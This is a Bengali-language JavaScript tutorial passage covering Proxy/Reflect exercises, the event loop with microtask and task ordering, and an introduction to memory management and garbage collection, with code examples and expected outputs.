Problem Requirement: একটি প্রক্সি তৈরি করো যা age প্রোপার্টিতে শুধু পজিটিভ সংখ্যা লিখতে দেবে, অন্যথায় TypeError থ্রো করবে।
const person = {};
const validator = new Proxy(person, {
set(target, prop, value) {
if (prop === "age") {
if (typeof value !== "number" || value < 0) {
throw new TypeError("Age must be a positive number!");
}
}
target[prop] = value;
return true;
}
});
validator.age = 25;
console.log("Valid Age:", validator.age);
// validator.age = -5; // Throws TypeError
Valid Age: 25
Problem Requirement: একটি প্রক্সি তৈরি করো যা প্রতিটি প্রোপার্টি পড়া (GET) এবং লেখার (SET) সময় কনসোলে স্বয়ংক্রিয়ভাবে লগ তৈরি করবে।
const user = { name: "Ripon" };
const loggedUser = new Proxy(user, {
get(target, prop) {
console.log(`GET → ${String(prop)}`);
return Reflect.get(target, prop);
},
set(target, prop, value) {
console.log(`SET → ${String(prop)} = ${value}`);
return Reflect.set(target, prop, value);
}
});
const currentName = loggedUser.name;
loggedUser.age = 28;
GET → name SET → age = 28
Problem Requirement: একটি createReadOnly(target) হেল্পার বানাও যা অবজেক্টের কোনো প্রোপার্টি পরিবর্তন বা ডিলিট করতে দেবে না।
function createReadOnly(target) {
return new Proxy(target, {
set(t, prop) {
console.warn(`Cannot set '${String(prop)}': Object is read-only!`);
return false;
},
deleteProperty(t, prop) {
console.warn(`Cannot delete '${String(prop)}': Object is read-only!`);
return false;
}
});
}
const config = createReadOnly({ apiEndpoint: "https://api.example.com" });
config.apiEndpoint = "https://hacked.com"; // Warning logged
console.log("Safe Config:", config.apiEndpoint);
Cannot set 'apiEndpoint': Object is read-only! Safe Config: https://api.example.com
Problem Requirement: এমন একটি প্রক্সি তৈরি করো যেখানে user রোল শুধু name এবং admin রোল salary দেখতে পারবে।
function createSecureAccount(data, role) {
return new Proxy(data, {
get(target, prop) {
if (prop === "salary" && role !== "admin") {
return "⛔ Access Denied: Admin role required";
}
return Reflect.get(target, prop);
}
});
}
const employee = { name: "Anisur Rahman", salary: 85000 };
const userView = createSecureAccount(employee, "user");
const adminView = createSecureAccount(employee, "admin");
console.log("User views name:", userView.name);
console.log("User views salary:", userView.salary);
console.log("Admin views salary:", adminView.salary);
User views name: Anisur Rahman User views salary: ⛔ Access Denied: Admin role required Admin views salary: 85000
Problem Requirement: একটি কাস্টম ক্লাস তৈরি করো যাতে Symbol.iterator, Proxy এবং Reflect তিনটি কনসেপ্ট একসাথে যুক্ত থাকবে।
class ObservableStore {
constructor(initialData = {}) {
this.data = initialData;
// Wrap internal data in proxy using Reflect
return new Proxy(this, {
set(target, prop, value) {
console.log(`[Store Event] Mutated '${String(prop)}' to:`, value);
return Reflect.set(target, prop, value);
}
});
}
*[Symbol.iterator]() {
for (const [key, val] of Object.entries(this.data)) {
yield { key, val };
}
}
}
const store = new ObservableStore({ theme: "dark", lang: "bn" });
store.version = "1.0.0";
for (const entry of store) {
console.log(`Iterated: ${entry.key} = ${entry.val}`);
}
[Store Event] Mutated 'version' to: 1.0.0 Iterated: theme = dark Iterated: lang = bn
JavaScript Metaprogramming-এর ৩টি স্তম্ভ—Symbol, Proxy ও Reflect-এর সমন্বিত আর্কিটেকচার ম্যাপ:
JavaScript Metaprogramming
│
┌────────────────┼────────────────┐
│ │ │
Symbol Proxy Reflect
│ │ │
Unique Keys Intercept Ops Object Ops
│ │ │
┌──────┴──────┐ ┌─────┴──────┐ ┌───┴────┐
│ │ │ │ │ │
Symbol.iterator Symbol.for get/set apply get/set
│ │
↓ ↓
Iterable Validation
Logging
Access Control
Reactivity
JavaScript সিঙ্গেল-থ্রেডেড হয়েও কীভাবে বিলিয়ন রিকোয়েস্ট, নেটওয়ার্ক আই/ও এবং নন-ব্লকিং ইউআই পরিচালনা করে—তার পেছনের চালিকাশক্তি হলো Event Loop ও Execution Context। এই চ্যাপ্টারে আমরা Call Stack (LIFO), Memory Heap, Web APIs, Microtask Queue (Promises), Macrotask Queue (Timers) এবং ব্রাউজার রেন্ডারিং পাইপলাইন গভীরভাবে শিখব।
JavaScript code কীভাবে: 1. Read করে 2. Execute করে 3. Function call handle করে 4. Asynchronous কাজ manage করে 5. পরে result execute করে —এই পুরো system-টাই JavaScript-এর Execution Model। সহজভাবে:
JavaScript Code
↓
Execution Context
↓
Call Stack
↓
Synchronous Execution
↓
Async কাজ → Host APIs
↓
Task / Microtask Queue
↓
Event Loop
↓
Call Stack
↓
Execution
সাধারণ JavaScript execution model-এ একটি main JavaScript execution thread-এ এক সময়ে একটি piece of JavaScript code execute হয়। তাই আমরা বলি: > JavaScript is single-threaded. উদাহরণ:
console.log("A");
console.log("B");
console.log("C");
Output:
A B C
একসাথে:
A B C
execute হয় না। একটির execution শেষ হওয়ার পর পরেরটি execute হয়।
এর মানে এই নয় যে browser একেবারেই parallel কাজ করতে পারে না। Browser/Node.js-এর মতো host environment JavaScript-এর বাইরে বিভিন্ন কাজ handle করতে পারে—যেমন:
এবং JavaScript পরে সেই কাজের result handle করে।
একটি simplified browser JavaScript runtime:
JavaScript Runtime
┌──────────────────────────────────────────┐
│ │
│ ┌───────────────┐ │
│ │ Call Stack │ │
│ └───────┬───────┘ │
│ │ │
│ ┌───────▼───────┐ │
│ │ JavaScript │ │
│ │ Engine │ │
│ └───────────────┘ │
│ │
│ ┌──────────────────┐ │
│ │ Heap │ │
│ └──────────────────┘ │
│ │
└──────────────────────────────────────────┘
Browser / Host Environment
│
├── Web APIs
│
├── Task Queue
│
├── Microtask Queue
│
└── Event Loop
এগুলো একে একে বুঝি।
JavaScript Engine হলো সেই software system যেটা JavaScript code বুঝে execute করে। Popular engines:
| Environment | Engine |
|---|---|
| Chrome | V8 |
| Edge | V8 |
| Node.js | V8 |
| Firefox | SpiderMonkey |
| Safari | JavaScriptCore |
উদাহরণ:
const x = 10;
console.log(x);
Engine এই code process করে execute করে।
Call Stack হলো JavaScript-এর function execution track করার একটি mechanism। সহজভাবে: > কোন function এখন execute হচ্ছে এবং কোন function থেকে call হয়েছে—Call Stack সেটা track করে। উদাহরণ:
function one() {
two();
}
function two() {
three();
}
function three() {
console.log("Hello");
}
one();
Execution:
one() ↓ two() ↓ three()
Call Stack:
┌─────────┐ │ three() │ ├─────────┤ │ two() │ ├─────────┤ │ one() │ └─────────┘
three() শেষ হলে:
three() removed
তারপর:
two() removed
তারপর:
one() removed
ধরো তুমি একটি restaurant-এ order দিচ্ছো।
Customer ↓ Order ↓ Food preparation
যে কাজটি এখন চলছে সেটা top-এ থাকবে। একইভাবে:
main() ↓ login() ↓ validateUser()
সবচেয়ে নিচে:
main()
সবচেয়ে উপরে:
validateUser()
Call Stack সাধারণত LIFO principle follow করে। > Last In, First Out উদাহরণ:
A() ↓ B() ↓ C()
প্রথমে C() শেষ হবে।
C() B() A()
console.log("Start");
function hello() {
console.log("Hello");
}
hello();
console.log("End");
Output:
Start Hello End
Execution:
console.log("Start")
↓
hello()
↓
console.log("Hello")
↓
console.log("End")
যদি function নিজেকেই continuously call করে এবং কোনো stopping condition না থাকে:
function test() {
test();
}
test();
তাহলে:
test() test() test() test() ...
Call Stack পূর্ণ হয়ে যাবে। শেষে error:
RangeError: Maximum call stack size exceeded
এটাকে বলে: > Stack Overflow
Heap হলো memory-এর একটি area যেখানে JavaScript runtime dynamically allocated data রাখে। যেমন:
const user = {
name: "Ripon",
age: 23
};
Object-এর data runtime memory-তে রাখা হয়। Array:
const numbers = [10, 20, 30];
Function/object-এর মতো reference-based data heap-এর সাথে সম্পর্কিত। সহজভাবে:
Call Stack → execution tracking Heap → dynamically allocated objects/data
Memory Management বিস্তারিতভাবে আমরা Chapter 30-এ দেখব।
JavaScript যখন code execute করে, তখন তার জন্য একটি Execution Context তৈরি হয়। সহজভাবে: > JavaScript code execute করার জন্য যে environment তৈরি হয় সেটাই Execution Context। প্রধানত:
সবচেয়ে প্রথমে তৈরি হয়।
প্রতিবার function call হলে তৈরি হয়।
eval() ব্যবহার করলে তৈরি হতে পারে। Modern development-এ সাধারণত avoid করা হয়।
এই code:
const name = "Ripon";
console.log(name);
execute করার সময় JavaScript একটি:
Global Execution Context
তৈরি করে। এখানে global-level variables/functions এবং অন্যান্য execution information থাকে।
এই code:
function greet(name) {
console.log(name);
}
greet("Ripon");
greet() call হলে নতুন Function Execution Context তৈরি হয়।
Global Execution Context
↓
Function Execution Context
↓
greet()
greet() শেষ হলে function context চলে যায়।
একটি execution context তৈরি হওয়ার সময় JavaScript আগে execution-এর জন্য environment প্রস্তুত করে। সহজভাবে:
Creation Phase
↓
Environment তৈরি
↓
Declarations setup
↓
Execution Phase
↓
Code execute
এই কারণে আমরা hoisting দেখতে পাই। উদাহরণ:
console.log(x);
var x = 10;
Output:
undefined
কারণ var x declaration আগে থেকেই environment-এ setup হয়। তবে:
console.log(x);
let x = 10;
এতে error:
ReferenceError
কারণ let এবং const declaration execution-এর আগে scope-এ থাকলেও initialization-এর আগে access করা যায় না। এই সময়টাকে Temporal Dead Zone (TDZ) বলা হয়।
তারপর actual code execute হয়।
const x = 10;
console.log(x);
Conceptually:
Creation Phase
↓
x environment-এ setup
↓
Execution Phase
↓
x = 10
↓
console.log(x)
JavaScript variables কোথায় থাকবে এবং কোন variable কোথা থেকে accessible হবে—এটার সাথে Lexical Environment সম্পর্কিত। উদাহরণ:
const globalName = "Ripon";
function greet() {
const message = "Hello";
console.log(globalName);
console.log(message);
}
greet();
greet() access করতে পারে:
message globalName
কারণ scope chain-এর মাধ্যমে outer environment পাওয়া যায়।
const a = 10;
function outer() {
const b = 20;
function inner() {
const c = 30;
console.log(a);
console.log(b);
console.log(c);
}
inner();
}
outer();
inner() দেখতে পারে:
c → নিজের scope b → outer scope a → global scope
এটাই scope chain-এর basic ধারণা। Closure-এর সাথে এই বিষয়টি খুব গুরুত্বপূর্ণ—যেটা Chapter 26-এ আমরা বিস্তারিত করেছি।
Synchronous code line-by-line execute হয়।
console.log("1");
console.log("2");
console.log("3");
Output:
1 2 3
Flow:
1 ↓ 2 ↓ 3
ধরো server থেকে data আনতে 5 seconds লাগছে। যদি JavaScript পুরো thread block করে অপেক্ষা করত:
Request ↓ Wait 5 seconds ↓ Continue
তাহলে webpage freeze হয়ে যেত। তাই browser/host environment asynchronous APIs ব্যবহার করে।
Browser JavaScript language-এর নিজস্ব অংশ নয়, কিন্তু browser কিছু APIs দেয়। যেমন:
setTimeout()
fetch()
document.querySelector()
addEventListener()
localStorage
এগুলো browser/host environment-এর capabilities-এর সাথে কাজ করে। উদাহরণ:
setTimeout(() => {
console.log("Hello");
}, 2000);
Timer-এর কাজ host environment handle করে।
Event Loop হলো এমন একটি mechanism যা দেখে: > Call Stack কখন empty হয়েছে এবং queued asynchronous callbacks কখন JavaScript-এর execution-এর জন্য Stack-এ পাঠানো যাবে। Simplified model:
┌───────────────┐
│ Call Stack │
└───────┬───────┘
│
Stack Empty?
│
▼
┌───────────────┐
│ Event Loop │
└───────┬───────┘
│
┌─────────┴─────────┐
▼ ▼
Microtask Queue Task Queue
Task queue-তে বিভিন্ন asynchronous callback অপেক্ষা করতে পারে। উদাহরণ:
setTimeout(() => {
console.log("Timer");
}, 0);
Timer-এর callback ready হলে task queue-তে যেতে পারে। আরও উদাহরণ:
setTimeoutsetIntervalMicrotask Queue সাধারণত asynchronous callbacks-এর জন্য ব্যবহৃত হয় যেগুলো current task শেষ হওয়ার পর দ্রুত execute হওয়ার জন্য schedule হয়। সবচেয়ে গুরুত্বপূর্ণ:
Promise.then()
Promise.catch()
Promise.finally()
queueMicrotask()
Browser-এ MutationObserver-ও microtask mechanism ব্যবহার করে।
Simplified browser model:
Current JavaScript Task
↓
Call Stack Empty
↓
Microtasks Drain
↓
Browser may render
↓
Next Task
অর্থাৎ: > Microtask সাধারণত next task-এর আগে execute হয়। এটা Event Loop-এর সবচেয়ে গুরুত্বপূর্ণ concept।
console.log("A");
setTimeout(() => {
console.log("B");
}, 0);
console.log("C");
Output:
A C B
কেন?
console.log("A");
Output:
A
setTimeout(...)
Timer host environment-এ schedule হয়।
console.log("C");
Output:
C
Current synchronous code শেষ। তারপর timer callback execute করার সুযোগ পায়।
B
Final:
A C B
setTimeout(..., 0) মানে Immediately নয়এটা খুব গুরুত্বপূর্ণ।
setTimeout(() => {
console.log("Hello");
}, 0);
0 মানে: > যত তাড়াতাড়ি সম্ভব timer-এর callback task হিসেবে schedule করার সুযোগ তৈরি করা। এটা immediately execute বোঝায় না। যদি stack-এ blocking কাজ থাকে:
setTimeout(() => {
console.log("Timer");
}, 0);
for (let i = 0; i < 1000000000; i++) {
// heavy work
}
তাহলে timer অপেক্ষা করবে।
console.log("A");
setTimeout(() => {
console.log("B");
}, 0);
Promise.resolve().then(() => {
console.log("C");
});
console.log("D");
Output:
A D C B
কেন?
A D
তারপর:
Microtask ↓ C
তারপর:
Task ↓ B
তাই:
A D C B
উপরের code:
console.log("A");
setTimeout(() => console.log("B"), 0);
Promise.resolve().then(() => console.log("C"));
console.log("D");
Flow:
Call Stack
│
┌───────┴────────┐
│ │
▼ ▼
console.log A console.log D
│ │
└───────┬────────┘
│
▼
Stack becomes empty
│
▼
Microtask Queue
│
▼
C
│
▼
Task Queue
│
▼
B
Final:
A D C B
Promise.resolve().then(() => {
console.log("Promise");
});
setTimeout(() => {
console.log("Timer");
}, 0);
Output:
Promise Timer
কারণ:
Promise callback → Microtask Timer callback → Task
Current task শেষ হলে microtasks আগে drain হয়।
এবার একটু tricky:
console.log("A");
Promise.resolve().then(() => {
console.log("B");
Promise.resolve().then(() => {
console.log("C");
});
});
console.log("D");
Output:
A D B C
কারণ:
A D ↓ Microtask B ↓ B-এর ভিতর C নতুন microtask ↓ C
Microtask queue drain হওয়ার সময় নতুন microtask যোগ হলে সেটাও current microtask checkpoint-এ process হতে পারে।
setTimeout(() => {
console.log("Timer");
Promise.resolve().then(() => {
console.log("Promise");
});
}, 0);
Output:
Timer Promise
কারণ timer callback একটি task। তার callback-এর synchronous অংশ:
Timer
শেষ হওয়ার পর তার তৈরি করা microtask:
Promise
execute হওয়ার সুযোগ পায়।
Promise.resolve().then(() => {
console.log("Promise");
setTimeout(() => {
console.log("Timer");
}, 0);
});
Output:
Promise Timer
কারণ:
Promise → Microtask Timer → Task
async/await internally Promise-based behavior-এর সাথে কাজ করে। উদাহরণ:
async function test() {
console.log("A");
await Promise.resolve();
console.log("B");
}
test();
console.log("C");
Output:
A C B
কেন? await-এর পরে function-এর continuation পরে resume হয়। Conceptually:
test() ↓ A ↓ await ↓ function pauses ↓ C ↓ microtask ↓ B
async function getData() {
console.log("Start");
const result = await Promise.resolve("Data");
console.log(result);
}
getData();
console.log("End");
Output:
Start End Data
কারণ await-এর পরের অংশ asynchronous continuation হিসেবে পরে resume করে।
fetch() এবং Event Loopধরো:
fetch("/api/users")
.then(response => response.json())
.then(data => {
console.log(data);
});
Simplified flow:
fetch() ↓ Browser handles network operation ↓ Response arrives ↓ Promise settles ↓ .then() callback → Microtask Queue ↓ Event Loop ↓ Call Stack ↓ Callback executes
তাই fetch() network-এর জন্য JavaScript thread-কে একইভাবে blocking করে বসিয়ে রাখে না।
ধরো:
button.addEventListener("click", () => {
console.log("Clicked");
});
User click করলে browser event handling mechanism callback schedule করে। Simplified:
User clicks button
↓
Browser detects event
↓
Event callback becomes runnable
↓
Task
↓
Event Loop
↓
Call Stack
↓
Callback executes
এই code:
console.log("Start");
for (let i = 0; i < 1000000000; i++) {
// heavy computation
}
console.log("End");
JavaScript main execution thread heavy কাজ করতে থাকলে:
Start ↓ Heavy Work ↓ End
এই সময়:
অনেকে ভাবে: > JavaScript single-threaded, তাহলে এত asynchronous কাজ কীভাবে করে? উত্তর:
JavaScript + Host Environment + Queues + Event Loop
এই combination asynchronous programming সম্ভব করে।
একটি simplified diagram মনে রাখো:
JavaScript
│
▼
┌─────────────┐
│ Call Stack │
└──────┬──────┘
│
│
┌─────────────┴─────────────┐
│ │
▼ ▼
Web APIs JavaScript
│ execution
│
├── Timer
├── Fetch
├── DOM Events
└── etc.
│
▼
┌──────────────────┐
│ Task Queue │
└──────────────────┘
┌──────────────────┐
│ Microtask Queue │
└──────────────────┘
▲
│
Event Loop
মনে রাখো:
Promise.then()
Promise.catch()
Promise.finally()
queueMicrotask()
Browser-এ:
MutationObserver
এগুলো microtask scheduling-এর সাথে সম্পর্কিত।
Common examples:
setTimeout()
setInterval()
এছাড়া browser-এর বিভিন্ন event/task scheduling mechanism আছে। যেমন:
click keyboard event timer message
তবে exact browser scheduling details API/context অনুযায়ী পরিবর্তিত হতে পারে।
একটি useful mental model:
1. Execute current task
↓
2. Call Stack becomes empty
↓
3. Drain Microtask Queue
↓
4. Browser may perform rendering
↓
5. Take next Task
↓
6. Repeat
সবচেয়ে গুরুত্বপূর্ণ:
Current Task
↓
Microtasks
↓
Next Task
Code:
console.log("1");
setTimeout(() => {
console.log("2");
}, 0);
Promise.resolve().then(() => {
console.log("3");
});
console.log("4");
Output:
1 4 3 2
1 → synchronous 4 → synchronous 3 → microtask 2 → task
console.log("Start");
setTimeout(() => {
console.log("Timer");
}, 0);
Promise.resolve().then(() => {
console.log("Promise 1");
});
Promise.resolve().then(() => {
console.log("Promise 2");
});
console.log("End");
Output:
Start End Promise 1 Promise 2 Timer
কারণ:
Synchronous ↓ Start End Microtasks ↓ Promise 1 Promise 2 Task ↓ Timer
console.log("A");
setTimeout(() => {
console.log("B");
Promise.resolve().then(() => {
console.log("C");
});
}, 0);
Promise.resolve().then(() => {
console.log("D");
setTimeout(() => {
console.log("E");
}, 0);
});
console.log("F");
Expected output:
A F D B C E
Flow:
A F ↓ Microtask ↓ D ↓ schedule E timer ↓ Next task ↓ B ↓ microtask ↓ C ↓ Next task ↓ E
যদি আমরা continuously microtask তৈরি করতে থাকি:
function loop() {
queueMicrotask(loop);
}
loop();
তাহলে microtask queue কখনো empty হওয়ার সুযোগ নাও পেতে পারে। ফলে:
Microtasks Microtasks Microtasks Microtasks ...
এবং অন্য tasks/rendering অনেক delay হতে পারে। এটাকে broadly: > Microtask Starvation বলা হয়।
ধরো:
queueMicrotask(function repeat() {
queueMicrotask(repeat);
});
তখন timer:
setTimeout(() => {
console.log("Timer");
}, 0);
প্রত্যাশিত সময়ের মধ্যে execute নাও করতে পারে। কারণ microtask queue repeatedly নতুন কাজ তৈরি করছে।
Browser-এ JavaScript execution এবং rendering-এর মধ্যে সম্পর্ক আছে। Heavy synchronous JavaScript:
while (true) {
}
করলে browser:
তাই frontend development-এ: > Don't block the main thread unnecessarily.
ধরো একটি university cafeteria।
একজন cashier:
Cashier
একসাথে একজন customer-এর order process করছে।
Kitchen staff:
Kitchen
তারা food প্রস্তুত করছে।
Ready orders-এর queue:
Order 1 Order 2 Order 3
Priority ছোট follow-up কাজ:
Urgent follow-up
Manager দেখছে:
Cashier free? ↓ Priority follow-up আছে? ↓ তারপর next order
এটা exact browser implementation নয়, কিন্তু concept বোঝার জন্য useful analogy।
Browser আর Node.js-এর host environment এক নয়। Node.js-এ event loop-এর নিজস্ব phases আছে, যেমন:
Timers ↓ Pending callbacks ↓ Poll ↓ Check ↓ Close callbacks
Node.js-এ আরও গুরুত্বপূর্ণ:
process.nextTick()
এটি Node-specific এবং সাধারণ Promise microtask-এর সাথে একেবারে একই queue হিসেবে ভাবা উচিত নয়। Node.js event loop আমরা Node.js-focused Chapter 39-এ আরও গভীরভাবে দেখব।
queueMicrotask()নিজে microtask schedule করতে পারো:
console.log("A");
queueMicrotask(() => {
console.log("B");
});
console.log("C");
Output:
A C B
কারণ:
A → sync C → sync B → microtask
Promise.resolve().then() বনাম queueMicrotask()দুটিই microtask scheduling-এর common way:
Promise.resolve().then(() => {
console.log("Promise");
});
queueMicrotask(() => {
console.log("Microtask");
});
দুটিই microtask queue-তে callback schedule করে। তবে API behavior/error handling-এর কিছু পার্থক্য আছে। সাধারণ microtask scheduling-এর জন্য:
queueMicrotask()
একটি সরাসরি API।
React development-এর জন্য Event Loop বোঝা খুব useful। যেমন:
button.addEventListener("click", async () => {
const response = await fetch("/api/users");
const data = await response.json();
console.log(data);
});
Flow:
Click ↓ Event callback ↓ fetch() ↓ Browser handles network ↓ Promise settles ↓ await continuation ↓ Microtask ↓ JavaScript continues ↓ React state update হতে পারে ↓ Browser rendering
তাই React-এর:
useEffect()
সহ asynchronous programming বুঝতেও Event Loop knowledge কাজে লাগে।
setTimeout(fn, 0) মানে immediately।
Minimum delay + task scheduling
Promise synchronous।
Promise.resolve().then(fn);
fn asynchronous callback হিসেবে microtask-এ চলে।
JavaScript-এর সব asynchronous কাজ JavaScript নিজেই background-এ করে।
Host environment/browser/Node.js বিভিন্ন asynchronous operation handle করে।
Single-threaded মানে browser কিছুই parallel করতে পারে না।
JavaScript execution-এর main thread single-threaded হলেও host environment এবং workers আলাদা execution capabilities দিতে পারে।
Microtask এবং Task একই।
Microtask Task
দুটির scheduling semantics আলাদা।
এই Chapter থেকে অবশ্যই জানতে হবে:
setTimeoutqueueMicrotaskasync/awaitfetchSynchronous Code
↓
Call Stack
↓
Microtask Queue
↓
Task Queue
এবং:
Promise → Microtask setTimeout → Task
JavaScript রানটাইমের প্রতিটি মেকানিজম এবং তার প্রধান ভূমিকার দ্রুত রেফারেন্স টেবিল:
| Concept | সহজ অর্থ |
|---|---|
| Call Stack | কোন JS function এখন চলছে |
| Heap | Dynamic memory/data-এর সাথে সম্পর্কিত memory area |
| Execution Context | Code execute করার environment |
| Global Context | Global code-এর execution environment |
| Function Context | Function call-এর execution environment |
| Web API | Browser-provided capabilities |
| Event Loop | Queue থেকে runnable work execution-এর দিকে আনে |
| Task Queue | Timer/event ইত্যাদির queued callbacks |
| Microtask Queue | Promise/queueMicrotask-এর callbacks |
| Promise callback | Microtask |
setTimeout | Task scheduling |
await | Promise settle হওয়ার পর continuation resume করে |
| Stack Overflow | Call Stack অতিরিক্ত পূর্ণ হওয়া |
| Blocking | Main JS execution আটকে রাখা |
| Starvation | অন্য কাজ দীর্ঘসময় সুযোগ না পাওয়া |
যেকোনো জটিল ইন্টারভিউ কোডের এক্সিকিউশন অর্ডার তাৎক্ষণিকভাবে বের করার শর্টকাট ফর্মুলা:
console.log("A");
setTimeout(() => {
console.log("B");
}, 0);
Promise.resolve().then(() => {
console.log("C");
});
console.log("D");
1️⃣ Synchronous (Immediate)
↓
2️⃣ Microtask Queue (Promises)
↓
3️⃣ Macrotask Queue (Timers)
A D C B
JavaScript সিংক্রোনাস ও অ্যাসিনক্রোনাস কোঅর্ডিনেশনের পূর্ণাঙ্গ আর্কিটেকচারাল ফ্লো ম্যাপ:
JavaScript
│
▼
Execution Context
│
▼
Call Stack
│
┌────────┴────────┐
│ │
▼ ▼
Synchronous Async Work
│
▼
Host / Web APIs
│
┌──────────┴──────────┐
▼ ▼
Microtask Queue Task Queue
│ │
└──────────┬──────────┘
▼
Event Loop
│
▼
Call Stack
│
▼
Execute
ইভেন্ট লুপের বিভিন্ন ফেজের অগ্রাধিকার নিখুঁতভাবে যাচাই করতে নিচে ৪টি বহুল জিজ্ঞাসিত চ্যালেঞ্জের সম্পূর্ণ স্টেপ-বাই-স্টেপ ট্রেস সলিউশন দেওয়া হলো:
setTimeout(fn, 0) বনাম সাধারণ console.log এর এক্সিকিউশন অর্ডার যাচাই:
console.log("A");
setTimeout(() => {
console.log("B");
}, 0);
console.log("C");
A C B
Promise.resolve().then() বনাম সাধারণ console.log এর এক্সিকিউশন অর্ডার:
console.log("A");
Promise.resolve().then(() => {
console.log("B");
});
console.log("C");
A C B
Synchronous, Timer ও একাধিক Promise-এর সম্মিলিত এক্সিকিউশন ট্রেস:
console.log("1");
setTimeout(() => {
console.log("2");
}, 0);
Promise.resolve().then(() => {
console.log("3");
});
Promise.resolve().then(() => {
console.log("4");
});
console.log("5");
1 5 3 4 2
টাইমারের ভেতর প্রমিজ এবং প্রমিজের ভেতর টাইমারের জটিল ইন্টারলিভড এক্সিকিউশন:
console.log("A");
setTimeout(() => {
console.log("B");
Promise.resolve().then(() => {
console.log("C");
});
}, 0);
Promise.resolve().then(() => {
console.log("D");
setTimeout(() => {
console.log("E");
}, 0);
});
console.log("F");
A F D B C E
JavaScript-এ মেমরি কীভাবে বরাদ্দ হয়, অবজেক্ট রেফারেন্স কীভাবে কাজ করে এবং মেমরি লিক এড়াতে কী কী সতর্কতা প্রয়োজন—তা জানা একজন প্রোডাকশন ইঞ্জিনিয়ারের জন্য অপরিহার্য। এই চ্যাপ্টারে আমরা Stack vs Heap, Mark-and-Sweep Garbage Collection, Reachability Tree, Closure Memory, Detached DOM Nodes, WeakMap/WeakSet এবং Chrome DevTools Heap Profiling গভীরভাবে শিখব।
Program চলার সময় বিভিন্ন data রাখার জন্য computer memory ব্যবহার করে। যেমন:
const name = "Ripon";
const age = 23;
const user = {
name: "Ripon",
age: 23
};
এই data program চলার সময় memory-তে রাখা হয়। তারপর যখন data আর প্রয়োজন হয় না, JavaScript সেই memory reclaim করার ব্যবস্থা করে। এই পুরো process:
Memory Allocation
↓
Use Memory
↓
No Longer Needed
↓
Garbage Collection
↓
Memory Reclaimed
হ্যাঁ। C/C++-এর মতো language-এ developer-কে অনেক ক্ষেত্রে manually memory manage করতে হয়। JavaScript-এ সাধারণত:
Developer ↓ Create Object ↓ JavaScript Runtime ↓ Memory Management ↓ Garbage Collector
তাই JavaScript-কে garbage-collected language বলা হয়।
একটি সাধারণ memory lifecycle:
1. Allocate ↓ 2. Use ↓ 3. No longer reachable ↓ 4. Garbage Collector detects ↓ 5. Memory reclaimed
উদাহরণ:
let user = {
name: "Ripon"
};
Object তৈরি হলো। পরে:
user = null;
যদি object-এর আর কোনো reference না থাকে, objectটি garbage collection-এর জন্য eligible হতে পারে।
যখন আমরা data তৈরি করি:
const name = "Ripon";
অথবা:
const numbers = [10, 20, 30];
অথবা:
const user = {
name: "Ripon"
};
JavaScript runtime প্রয়োজন অনুযায়ী memory allocate করে। Conceptually:
name ↓ "Ripon" numbers ↓ [10, 20, 30] user ↓ { name: "Ripon" }
Chapter 29-এ আমরা Call Stack এবং Heap দেখেছিলাম। Memory-এর basic mental model:
Stack ---------------- Execution-related Primitive values / references Function frames ---------------- Heap ---------------- Objects Arrays Functions Dynamic data ----------------
তবে একটি গুরুত্বপূর্ণ কথা: > Stack বনাম Heap-এর exact implementation JavaScript specification দ্বারা এভাবে নির্ধারিত নয়। এটি বোঝার জন্য একটি useful conceptual model।
JavaScript-এর primitive values:
string number bigint boolean undefined null symbol
উদাহরণ:
let age = 23;
let name = "Ripon";
let isStudent = true;
এগুলো primitive values।
Object:
const user = {
name: "Ripon"
};
এখানে user variable object-এর সাথে একটি reference-এর মাধ্যমে সম্পর্কিত। Conceptually:
user │ ▼ ┌─────────────────┐ │ Object │ │ name: "Ripon" │ └─────────────────┘
দেখো:
const user1 = {
name: "Ripon"
};
const user2 = user1;
এখন:
user1 ─────┐ ▼ ┌──────────┐ │ Object │ │ Ripon │ └──────────┘ ▲ │ user2 ─────┘
দুটো variable একই object-কে reference করছে। তাই:
user2.name = "Shariar";
console.log(user1.name);
Shariar
কারণ user1 এবং user2 একই object-এর দিকে reference করছে।
Primitive:
let a = 10;
let b = a;
b = 20;
console.log(a);
10
কারণ primitive value copy হয়েছে। অন্যদিকে:
const a = {
value: 10
};
const b = a;
b.value = 20;
console.log(a.value);
20
কারণ একই object reference করা হয়েছে।
Garbage Collection বোঝার জন্য সবচেয়ে গুরুত্বপূর্ণ concept: > Reachability সহজভাবে: > কোনো object যদি program-এর active references থেকে এখনও পৌঁছানো যায়, তাহলে সেটি reachable। আর যদি আর কোনো active reference দিয়ে পৌঁছানো না যায়, তাহলে সেটি garbage collection-এর জন্য eligible হতে পারে।
Garbage Collector সাধারণত কিছু roots থেকে object reachability track করার concept ব্যবহার করে। Examples:
Simplified:
ROOT │ ▼ Object A │ ▼ Object B
যদি Root থেকে B পর্যন্ত পৌঁছানো যায়:
B = Reachable
let user = {
name: "Ripon"
};
Conceptually:
Global │ ▼ user │ ▼ Object
Object reachable।
এখন:
let user = {
name: "Ripon"
};
user = null;
আগের object-এর দিকে আর user reference নেই। Conceptually:
Global │ X Object
Object unreachable হয়ে যেতে পারে। তখন Garbage Collector পরে সেটার memory reclaim করতে পারে।
Garbage Collector-এর কাজ: > যেসব object আর reachable নয় এবং আর ব্যবহার করা সম্ভব নয়, সেগুলোর memory reclaim করা। সহজভাবে:
Object created ↓ Used ↓ No reference ↓ Unreachable ↓ Garbage Collector ↓ Memory reclaimed
তুমি সাধারণত এমন code লিখবে না:
free(user);
JavaScript-এ সাধারণভাবে এইভাবে manually object free করতে হয় না। বরং:
user = null;
এর মাধ্যমে reference remove করতে পারো। তারপর object unreachable হলে GC পরে memory reclaim করতে পারে।
null কি Object Delete করে?এটা খুব important।
let user = {
name: "Ripon"
};
user = null;
null বসানোর সাথে সাথে object অবশ্যই সঙ্গে সঙ্গে delete হয়ে যায়—এমন নয়। বরং:
user reference removed ↓ Object may become unreachable ↓ GC may reclaim later
Garbage collection-এর timing runtime control করে।
let data = {
huge: "some data"
};
data = null;
এখন object unreachable হতে পারে। কিন্তু:
data = null
হওয়ার সাথে সাথেই GC necessarily run করবে—এটা ধরে নেওয়া ঠিক নয়। Garbage Collector কখন memory reclaim করবে সেটা runtime-এর implementation এবং heuristics-এর ওপর নির্ভর করে।
Garbage Collection বোঝার জন্য classic concept: > Mark-and-Sweep Simplified process:
Step 1 Start from roots Step 2 Mark reachable objects Step 3 Find unmarked objects Step 4 Reclaim their memory
ধরো:
Root │ ▼ A │ ▼ B C
এখানে:
Root → A → B
তাই:
A = reachable B = reachable C = unreachable
Garbage Collector:
Mark: A ✓ B ✓ C ✗ Sweep: C removed/reclaimed
